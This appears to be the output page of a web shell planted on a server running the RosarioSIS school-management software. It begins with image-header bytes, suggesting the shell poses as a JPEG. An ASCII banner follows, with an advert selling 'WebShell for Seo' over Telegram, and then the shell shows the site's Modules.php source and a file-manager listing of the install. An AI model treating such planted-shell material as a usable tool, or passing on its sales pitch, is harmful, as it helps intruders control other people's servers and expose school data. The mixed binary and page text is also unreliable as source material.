����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Modules
*
* Warehouse header
* Get requested program / modname, if allowed
* Warehouse footer
*
* @package RosarioSIS
*/
require_once 'Warehouse.php';
// If no modname found, go back to index.
if ( empty( $_REQUEST['modname'] ) )
{
header( 'Location: index.php' );
exit();
}
$modname = $_REQUEST['modname'];
if ( ! isset( $_REQUEST['modfunc'] ) )
{
$_REQUEST['modfunc'] = false;
}
$_ROSARIO['page'] = 'modules';
// Set Popup window detection.
isPopup( $modname, $_REQUEST['modfunc'] );
// Output Header HTML.
Warehouse( 'header' );
/**
* FJ security fix, cf http://www.securiteam.com/securitynews/6S02U1P6BI.html
* allow PHP scripts in misc/ one by one in place of the whole folder.
*/
$allowed = in_array(
$modname,
[
'misc/ChooseRequest.php',
'misc/ChooseCourse.php',
'misc/Portal.php',
'misc/ViewContact.php',
]
);
// Browse allowed programs and look for requested modname.
if ( ! $allowed )
{
// Generate Menu.
require_once 'Menu.php';
// @since 10.3 Fix program not found when query string is URL encoded.
$query_string = urldecode( $_SERVER['QUERY_STRING'] );
foreach ( (array) $_ROSARIO['Menu'] as $modcat => $programs )
{
foreach ( (array) $programs as $program => $title )
{
if ( is_int( $program ) )
{
continue;
}
// FJ fix bug URL Modules.php?modname=Student_Billing/Statements.php&_ROSARIO_PDF.
if ( $modname == $program
|| ( mb_strpos( $program, $modname ) === 0
&& mb_strpos( $query_string, $program ) === 8 ) )
{
$allowed = true;
// Eg: "Student_Billing/Statements.php&_ROSARIO_PDF".
$_ROSARIO['ProgramLoaded'] = $program;
break 2;
}
}
}
}
if ( $allowed )
{
// Force search_modfunc to list.
if ( Preferences( 'SEARCH' ) !== 'Y' )
{
$_REQUEST['search_modfunc'] = 'list';
}
elseif ( ! isset( $_REQUEST['search_modfunc'] ) )
{
$_REQUEST['search_modfunc'] = '';
}
if ( substr( $modname, -4, 4 ) !== '.php'
|| strpos( $modname, '..' ) !== false
/*|| ! is_file( 'modules/' . $modname )*/ )
{
require_once 'ProgramFunctions/HackingLog.fnc.php';
HackingLog();
}
else
{
require_once 'modules/' . $modname;
}
}
// Not allowed, hacking attempt?
elseif ( User( 'USERNAME' ) )
{
require_once 'ProgramFunctions/HackingLog.fnc.php';
HackingLog();
}
/**
* Save $_REQUEST vars in session: used to recreate $_REQUEST in Bottom.php
* Note: Code duplicated inside ErrorMessage() for fatal errors
*
* @since 11.5 Copy $_REQUEST to $_SESSION['_REQUEST_vars'] last
*/
if ( ! isset( $_REQUEST['_ROSARIO_PDF'] )
&& empty( $_REQUEST['LO_save'] )
&& ( mb_strpos( $modname, 'misc/' ) === false
|| $modname === 'misc/Portal.php' ) )
{
$_SESSION['_REQUEST_vars'] = $_REQUEST;
}
// Output Footer HTML.
Warehouse( 'footer' );
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ProgramFunctions | Folder | 0755 |
|
|
| assets | Folder | 0755 |
|
|
| cgi-bin | Folder | 0755 |
|
|
| classes | Folder | 0755 |
|
|
| functions | Folder | 0755 |
|
|
| locale | Folder | 0755 |
|
|
| modules | Folder | 0755 |
|
|
| plugins | Folder | 0755 |
|
|
| .gitattributes | File | 483 B | 0644 |
|
| .gitignore | File | 5.08 KB | 0644 |
|
| Bottom.php | File | 3.84 KB | 0644 |
|
| CHANGES.md | File | 86.83 KB | 0644 |
|
| CHANGES_V1_2.md | File | 64.91 KB | 0644 |
|
| CHANGES_V3_4.md | File | 42.24 KB | 0644 |
|
| CHANGES_V5_6.md | File | 41.44 KB | 0644 |
|
| CHANGES_V7_8.md | File | 27.37 KB | 0644 |
|
| CONTRIBUTING.md | File | 2.87 KB | 0644 |
|
| COPYRIGHT | File | 403 B | 0644 |
|
| Gruntfile.js | File | 3.52 KB | 0644 |
|
| Help.php | File | 2.52 KB | 0644 |
|
| Help_en.php | File | 127.36 KB | 0644 |
|
| INSTALL.md | File | 8.33 KB | 0644 |
|
| INSTALL.pdf | File | 56.38 KB | 0644 |
|
| INSTALL_es.md | File | 9.05 KB | 0644 |
|
| INSTALL_es.pdf | File | 57.2 KB | 0644 |
|
| INSTALL_fr.md | File | 9.3 KB | 0644 |
|
| INSTALL_fr.pdf | File | 58.31 KB | 0644 |
|
| InstallDatabase.php | File | 5.63 KB | 0644 |
|
| LICENSE | File | 14.86 KB | 0644 |
|
| Menu.php | File | 2.55 KB | 0644 |
|
| Modules.php | File | 2.71 KB | 0644 |
|
| PasswordReset.php | File | 12.08 KB | 0644 |
|
| README.md | File | 6.12 KB | 0644 |
|
| README.pdf | File | 308.99 KB | 0644 |
|
| Side.php | File | 21.64 KB | 0644 |
|
| WHATS_NEW.md | File | 27.68 KB | 0644 |
|
| Warehouse.php | File | 23.67 KB | 0644 |
|
| apple-touch-icon.png | File | 4.32 KB | 0644 |
|
| composer.json | File | 363 B | 0644 |
|
| config.inc.php | File | 2.06 KB | 0644 |
|
| config.inc.sample.php | File | 2.05 KB | 0644 |
|
| database.inc.php | File | 22.12 KB | 0644 |
|
| diagnostic.php | File | 7.84 KB | 0644 |
|
| favicon.ico | File | 1.62 KB | 0644 |
|
| index.php | File | 16.54 KB | 0644 |
|
| package.json | File | 456 B | 0644 |
|
| rosariosis.sql | File | 131.01 KB | 0644 |
|
| rosariosis_es.sql | File | 14.95 KB | 0644 |
|
| rosariosis_fr.sql | File | 16.84 KB | 0644 |
|
| rosariosis_mysql.sql | File | 121.71 KB | 0644 |
|
| rosariosis_pt_BR.sql | File | 14.96 KB | 0644 |
|